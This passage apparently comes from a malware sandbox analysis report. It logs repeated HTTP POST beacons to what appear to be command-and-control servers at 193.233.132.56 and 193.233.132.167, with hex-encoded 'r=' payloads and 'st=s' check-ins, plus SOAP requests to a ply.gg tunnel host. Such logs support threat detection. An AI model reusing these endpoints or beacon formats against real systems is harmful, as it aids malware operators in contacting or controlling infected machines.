r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: b-stamps.gl.at.ply.gg:30946Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: b-stamps.gl.at.ply.gg:30946Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
